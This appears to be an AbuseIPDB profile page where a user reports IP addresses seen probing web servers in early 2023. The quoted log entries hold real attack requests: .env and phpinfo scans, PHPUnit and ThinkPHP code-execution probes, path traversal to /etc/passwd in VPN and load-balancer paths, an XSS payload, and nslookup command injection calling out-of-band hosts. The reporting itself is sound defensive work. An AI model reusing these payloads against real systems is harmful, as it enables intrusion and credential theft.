AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User dfnc joined AbuseIPDB in August 2022 and has reported 160 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇺🇸 23.94.80.175	02 Feb 2023	GET /wp-content/ HTTP/1.1 GET /.env HTTP/1.1	Web App Attack
🇺🇸 24.199.96.44	02 Feb 2023	GET /conf/.env HTTP/1.1 GET /.env HTTP/1.1 GET /wp-admin/.env HTTP/1.1 GET /old/.env HTTP/1.1	Web App Attack
🇨🇦 144.217.211.114	02 Feb 2023	GET /.env HTTP/1.1 GET /conf/.env HTTP/1.1 GET /api/.env HTTP/1.1 GET /local/.env HTTP/1.1 GET / ... show more GET /.env HTTP/1.1 GET /conf/.env HTTP/1.1 GET /api/.env HTTP/1.1 GET /local/.env HTTP/1.1 GET /vendor/.env HTTP/1.1 GET /new/.env HTTP/1.1 GET /library/.env HTTP/1.1 GET /wp-admin/.env HTTP/1.1 GET /wp-content/.env HTTP/1.1 show less	Web App Attack
🇮🇸 213.181.106.194	02 Feb 2023	POST /tool/view/phpinfo.view.php HTTP/1.1 GET /_profiler/phpinfo HTTP/1.1 GET /tool/view/phpinfo.v ... show more POST /tool/view/phpinfo.view.php HTTP/1.1 GET /_profiler/phpinfo HTTP/1.1 GET /tool/view/phpinfo.view.php HTTP/1.1 GET /wp-content/.env HTTP/1.1 GET /wp-admin/.env HTTP/1.1 show less	Web App Attack
🇮🇳 49.36.238.142	29 Jan 2023	Directory brute force GET /xd_receiver GET /wp-trackback GET /wp-login and thousand more	Web App Attack
🇮🇪 52.215.123.241	24 Jan 2023	Attacked our apps with huge number of malicious payloads (more than 20k) Example GET /api/redact ... show more Attacked our apps with huge number of malicious payloads (more than 20k) Example GET /api/redacted/730271%7Cn%22s%22l%22o%22o%22k%22u%22p%22%2074c31fe4ae5e432697-ird1pz4lo0he2aqiy6uv79uovf160up.oastify.com.json HTTP/1.1 GET /api/redacted/730271&nslookup%20-q=cname%20g6nudf3xpcoyihptzzq0pidhx832ryft3kqaez.oastify.com.&%27/%22%600&nslookup%20-q=cname%20g6nudf3xpcoyihptzzq0pidhx832ryft3kqaez.oastify.com.&%60%27.json HTTP/1.1 show less	Web App Attack
🇩🇪 161.97.135.156	24 Jan 2023	GET /auth/realms/master/protocol/openid-connect/oauth/oob?error=%3Ca%20href=%22javascript%26%00colon ... show more GET /auth/realms/master/protocol/openid-connect/oauth/oob?error=%3Ca%20href=%22javascript%26%00colon;alert(document.domain)%22%3EReturn%20to%20application%3C/a%3E HTTP/1.1 GET /includes/dompdf/dompdf.php?input_file=http://cf5fvon7kat992e7f8f0ftof1ar5jk3hi.oast.pro HTTP/1.1 GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1 GET /docpicker/internal_proxy/https/cf5fvon7kat992e7f8f096be75dpe9ri7.oast.pro HTTP/1.1 GET /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua HTTP/1.1 GET /docpicker/internal_proxy/http/cf5fvon7kat992e7f8f0u3cgi1uz43fu3.oast.pro HTTP/1.1 GET /appdata/theme/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd HTTP/1.1 GET /appdata/theme/_default/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd HTTP/1.1 GET /appdata/assets_cache/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd show less	Web App Attack
🇺🇸 165.227.110.89	19 Jan 2023	GET /web/.env HTTP/1.1 GET /core/.env HTTP/1.1 GET /crm/.env HTTP/1.1 GET /.env HTTP/1.1 GET /ap ... show more GET /web/.env HTTP/1.1 GET /core/.env HTTP/1.1 GET /crm/.env HTTP/1.1 GET /.env HTTP/1.1 GET /app/.env HTTP/1.1 GET /laravel/.env HTTP/1.1 GET /local/.env HTTP/1.1 GET /application/.env HTTP/1.1 GET /api/.env HTTP/1.1 GET /backend/.env HTTP/1.1 GET /prod/.env HTTP/1.1 GET /admin/.env HTTP/1.1 GET /.env.bak HTTP/1.1 GET /phpinfo.php HTTP/1.1 GET /_profiler/phpinfo HTTP/1.1 GET /phpinfo HTTP/1.1 show less	Web App Attack
🇺🇸 194.180.49.108	19 Jan 2023	seraching for sensitive files	Web App Attack
🇮🇩 36.94.137.167	19 Jan 2023	POST /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1 POST /lib/phpunit/src/Util/PHP/eval-s ... show more POST /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1 POST /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 POST /wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 POST /wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 POST /wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1 GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1 GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1 GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1 POST /wp-admins.php HTTP/1.1 show less	Web App Attack
🇫🇷 162.19.154.41	19 Jan 2023	obfuscated or non http requests on http ports #xF3x8DKxF7x89xCFxC8xxECx8Dcx9Ex92x96xEExA7xA0x1Dx8Fx ... show more obfuscated or non http requests on http ports #xF3x8DKxF7x89xCFxC8xxECx8Dcx9Ex92x96xEExA7xA0x1Dx8Fx0Fx8Ax96x020xB1 {xE0x1A1.xE3WVxA0xD2oxE6x8FxDFxC5Yx10x10Zx13^x11xADxFFrx81vxA9dx9EXx1Dx7F<x12j`xA0x85x87xAFxB8sxD7x0BxACxB1xC8qmxF3IxAFx12xA0xE7xFBxA6x9FxF1xFDxE2x1DxBFx90}?{x10xD5[xA3x82x94xEAx93x95uxA0x13xA1xFDH)xA6Ox9D/%DOax17x9Ax83xF6cx80xF3xE3x15;x16yxFBxCCxFDxB4qx82x9BDxA2xC5,OIx10xA6xA1XxA3xCBx14*zxC8xBFx1FxFFx13zx5CxE2xFBxCE'x13xF2xA6}xD81x7FVlx17xE0xE0hux03vaxD2@~xB1xDC]xD0x86x98 show less	Web App Attack
🇫🇷 141.95.52.109	19 Jan 2023	obfuscated or non http reuqests on http ports x1Cd&xD9_x8EIxF8xF3x03/x95x19xA4x8FxC1vxE9x85xD6xFB ... show more obfuscated or non http reuqests on http ports x1Cd&xD9_x8EIxF8xF3x03/x95x19xA4x8FxC1vxE9x85xD6xFBxD0zx81`exF8uox90;xCDx83 zxE4xEA/xBE[CxCFxFDx187\|x8CuxD3v^x1Ex1DxD41;PxD6UxA8=xFCx0Bj1Tx9DAQ^xD3xA0xB5x83x98xEFxD0xD0xCCxE1xF5Yr!;xD3bxA1xC6x90x16x9Fx1AxA7Eg/JxAF}xC1xADx12<*xC4x85xD9KD^Nx9ESPxCAxCEx82xxD2Fx16xC4xB25x7F4xEDp,xE4:x0Ex19x19xF8xB6x8B!(x87 x04sxC4bxEDxFFs4xDEYnxA9L.MJIxF75x22xCB\|x7FxC2xB3x0Bx8CuxCF+Qvx9Ex93\|fx15Sx80dVxB3x1Aex81xCFx8Fx83xFBUx80^xEBx8DsxBFxA9cd:xA9xB1xFF)Lx0FxC0Jx18xA7xB7-xFA:x18x83xDFxBBxEDxD3xE3x81xCEx14x04xEFx80sx09x94ix0ExD3w3xD8DxE2xA6AxC5lx10xC9xD6x02xE3xF0Gx00x02x0E>)xB2xC9xB2x7FxF7x06xC6hx02xB0.xA7x82x22x81x9CdIx09xB7xA5xE6txAExAFx98xDCxDDuhx96x0EsxC8x8F+x1FP\|x07xBD2x81x84xA7xFAs%+x8A show less	Web App Attack
🇩🇪 135.125.202.64	19 Jan 2023	obfuscated or non http requests on http ports ;xF1+`xC2xDBxF6cQx1DxEAxEBxC2x11x19x1E[M3uxADYxA0xCF ... show more obfuscated or non http requests on http ports ;xF1+`xC2xDBxF6cQx1DxEAxEBxC2x11x19x1E[M3uxADYxA0xCFz}xC8x03xF7Xlx93xA0xF9x1FxA4xFBx03xC1x87xE1xA4xD2xB1xA3xBFxD4x8BxD8:x8Ax10x1B x1Ex10xC4xC3x8DxB2xACxDF x9Fx07xB7uxA2S.Cx19xD9xF9hx17Ux1D xA3>xD3&x03xD39x05Sx90Sx0E%f9xD145kxB8x90l=xD2x12xFBv#9xBDxC6xAE\|xE1xBCx8BxFEx8AjxE2x00xDBx92xD6xA7xCEcx99x08x9ExA7x9Fx91xADxB4=xDFxD9dCQx9Dx89xCFxE1xx87x83x03xDDx93xD4xD4bGxF4xEDUxD1x18.xAD9b]x7FkxwxF0=x16x8DSx91ix05xF9&#xDAqx93xB1JxBFx02^x14vxFExA1N$xA4zxC2Ex87x83xBAx84x99xA7xDDxA2xFBx0F{xFFxE3sxAExB2JxDBxF6xD3xF1xBFxFEx16x09xEF%,xFDx81xA0x13xCBxC6x8BxD1sxE2?xAAxDFxDF<=x9Fx7Fx1CxFF2xEBxD3`Ht)xFEx077!xA6Zx18xF7'xACxEFxE0,9xDExA8xE4x93x0FsxE3nxB7xE5_xD67xB4xE7,xD5xDDyxEDd$x08xE8x8AxCDxE9xA9xA4ix81_&Hx00x03x8C show less	Web App Attack
🇩🇪 51.195.41.76	19 Jan 2023	obfuscated or non http requests to http ports example yf@x92x13x07x10xFETx01xA8x14~Tx97xCEZxA7x0 ... show more obfuscated or non http requests to http ports example yf@x92x13x07x10xFETx01xA8x14~Tx97xCEZxA7x05#x96xF9@MxEA%x92xE9x82+xB4x8BxD0kx5CRxFAx8AxABx94xAE^xA0xD1x99xEC2x97yzxC7Zx12ox99x04xC0x90Fx89xC3%xE2xC1x99Ex1CX#x18xA2>xAFxDDPx8Cx1Dx00kx19zIxA1x0Cx10e@xB4xEDlxDFlxCBuQxB3xA7x84xF4'xA2Kx80xC8x04xA1l9x01x8EBxADxFBxB9xFEx86xFDx00x0E$<xD5JSxCCzx5C7xE4 x22?StxE6axF2xD7<x1EE<ixDCBos(xC4x91x95x09xCExE7xB7xB7xD1xBAi{x17@fx88ex1BxC0Lx92x83x95AxB6xB1x12xBDxF2MxACxBExECxB6xF7XxF5xEB[x92xCBxD0x85x94xC9x05xB4xE2xD9xD4Fx7FxE1%xA7x11xF3ux92HxBFxD9x95x80xF0xCADxD2x8Ex9BxE8 x02x81K$,`x01xBBxEFi=Nx07xxA4nZxFFx82xFCCx94xD8L7xCF6xF06x16x8FxC6Ox15xC4>xD4xAFx7F_x98Ex0BxA73GxB5cx18x80yxDCxD4nxFExEDB*x14xEF{x8AxCD~x88xF9x1ExA8OxF4x81=x90$xCBxD2x154fx85Vx80x8C_xEFX}xEEZxA9ex97xD4RxB2x94Vx8Bx96x9C2xA7x81.NxF0QxF1x12~PxBBxB1$x00xCB>xADxB1x9E?xDC;xC3xDCxB2x8D+xF2mx11x10xEBxF2xDCxxE5;4LxD5v9x16xC9x9AxF5@R... show less	Web App Attack
🇺🇸 64.156.193.21	19 Jan 2023	GET /api/.env HTTP/1.1 GET /bedesk1.1/.env HTTP/1.1 GET /test/bedesk1.1/.env HTTP/1.1 GET /.env H ... show more GET /api/.env HTTP/1.1 GET /bedesk1.1/.env HTTP/1.1 GET /test/bedesk1.1/.env HTTP/1.1 GET /.env HTTP/1.1 ... show less	Web App Attack
🇺🇸 38.128.66.69	19 Jan 2023	env files search	Web App Attack
🇫🇷 162.19.153.184	19 Jan 2023	sending obfuscated or nonhttp requests on http ports - one example: gx81xFAxEEx1DxF8x97x15 x5CxB6Q ... show more sending obfuscated or nonhttp requests on http ports - one example: gx81xFAxEEx1DxF8x97x15 x5CxB6QNNx8BOxB0x06x95xF7x08x14xBDx0BxBEKUxC3LxBD5xEBxB9x993uoxF5xE2lpx94b8xC2;xC8NxE7x0ExE8^x93xF2xC0xD8xEFxB7(x84x0F<x1F_xC9xE7x9CxADxE5x1A~Cx01x8Ax00x87xB3pbcxEEr>xAEIyVx1AxE8Lx22x1ELx97>gxCCxC5_Rx9Ax9EYxD3x92-x1Ax00xD0x0Cvx17xE2MxD8xBCFdxCFxE2xF9xF53xA9xFCx1A0ex8EgHxCCxB9x88xE1VxF4xF3xD43xDAxC1xD8Qx18xF2xDCx9Ax80x8AxEB x970x0CxFDqmxDExC1=x90xF39(txE1x85xB2axD3{s/fx03x94}x94RwxC8xCFTh1qx91Tx89xB7%xFCxEEx1C+>xAEx1F/xCA%x82axA6:xFFnqAxAD xE8xAALxC1xE3xD2xE8x8Ex91xD4x962x01lvxFCgx03x99x89x93VxD4x9FxD0IxEExF1xE8v@#xD2xB9?zx12<xCC9x15IxC1ZxF3x11+x96x85/8x8FxFC:xC9mOx19xE6!xA4xD9x8D?xC2.xF4NZxEALx82xB4RqxDBxE5~Olx19x12x97xB0x09x84bxDFx82qx88xCBxF5_xC5{hO{xF3xFBx8Dx1ExCAx00IxF9XFx10xC3xA0xA0x87x07x9Fx82y~xD5x7FxE5xE3ExBD`SxF3xDFx82PxAF!x9ExEA7x9Ax8ExB8xCFRnxFB show less	Web App Attack
🇨🇭 45.148.119.142	19 Jan 2023	GET /admin/.env HTTP/1.1 GET /api/.env HTTP/1.1 GET /app/.env HTTP/1.1 GET /backend/.env HTTP/1.1 ... show more GET /admin/.env HTTP/1.1 GET /api/.env HTTP/1.1 GET /app/.env HTTP/1.1 GET /backend/.env HTTP/1.1 GET /laravel/.env HTTP/1.1 GET /local/.env HTTP/1.1 GET /prod/.env HTTP/1.1 POST /cgi-bin/.%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/bin/sh HTTP/1.1 GET /cgi-bin/../../../../../../../../../../bin/sh HTTP/1.1 GET /shell.jsp?cmd=id HTTP/1.1 GET /webapps/ROOT/shell.jsp?cmd=id HTTP/1.1 show less	Web App Attack
🇩🇪 135.125.202.158	18 Jan 2023	Obfuscated or nonhttp requests on http ports example for few nginx logs x12xEAx90x9E[xC4xE5)xF9x ... show more Obfuscated or nonhttp requests on http ports example for few nginx logs x12xEAx90x9E[xC4xE5)xF9xCFxCDx8DxCBxD8x90Kyx06xBBx86xB9xC7x1CsxD7x14xE0xC8xEE.x10H~x98`WxA8xA1Kk4vxABxEF^>WxA1Ox9Bi^]xE9oe*xFE/5xE7vxBCkX<xB5xDDx8FxEExFB!x90x1DxC3xB5gx12xE2x1Bx91x1BxF9<xC7Xx91x0FxEFx7FxFExE4c>(x1Ex83x92Gx86xBCG)xEDx99xDFx82x96WxF70xBDxD4txE2x98xF7x0F(~x8A{xABzx91xA8xFBexFCFx08bGx99;x04xF9xF0zExEDxC6xE4 x1AxDC\|x8FxA1x9Ax5CxBDxCAxFBx04xC0x04xACxD4kx14xB3BxECxE4xBAxE8fVx87xB8xC9xAFxBExB0x9BexFBA%x0ERf3bH@xF3xBDx85xC1xD7x11OTxD7(x10xFFxEE~?xB4VxF5ZxD1xA5x97xCBxA4xE3txD6x1DxABsxE5xB0xA2wxF8xA9x8Ex1Fx95xED-]/xE8xF4xE9xD1xFB show less	Web App Attack
🇬🇧 51.11.178.92	17 Jan 2023	Environment files search. GET /.env	Web App Attack
🇬🇧 193.239.84.90	17 Jan 2023	GET /.env HTTP/1.1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1	Web App Attack
🇬🇧 51.195.193.170	17 Jan 2023	GET /.env HTTP/1.1 GET /.env.development.local HTTP/1.1 GET /.env.bak HTTP/1.1 GET /.env.dev HTTP ... show more GET /.env HTTP/1.1 GET /.env.development.local HTTP/1.1 GET /.env.bak HTTP/1.1 GET /.env.dev HTTP/1.1 GET /.env.dev.local HTTP/1.1 GET /.env.local HTTP/1.1 show less	Web App Attack
🇸🇬 139.99.120.203	17 Jan 2023	GET /vendor/.env HTTP/1.1 GET /old/.env HTTP/1.1 GET /local/.env HTTP/1.1 GET /api/.env HTTP/1.1 ... show more GET /vendor/.env HTTP/1.1 GET /old/.env HTTP/1.1 GET /local/.env HTTP/1.1 GET /api/.env HTTP/1.1 GET /blog/.env HTTP/1.1 GET /crm/.env HTTP/1.1 GET /admin/.env HTTP/1.1 show less	Web App Attack
🇳🇱 146.0.75.2	17 Jan 2023	PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 GET /dana-na/../dana/html5acc/guacamole/../../../../.. ... show more PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1 GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../ HTTP/1.1 GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1 GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession HTTP/1.1 show less	Web App Attack
🇺🇸 20.106.168.55	17 Jan 2023	GET /.env HTTP/1.1 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1	Web App Attack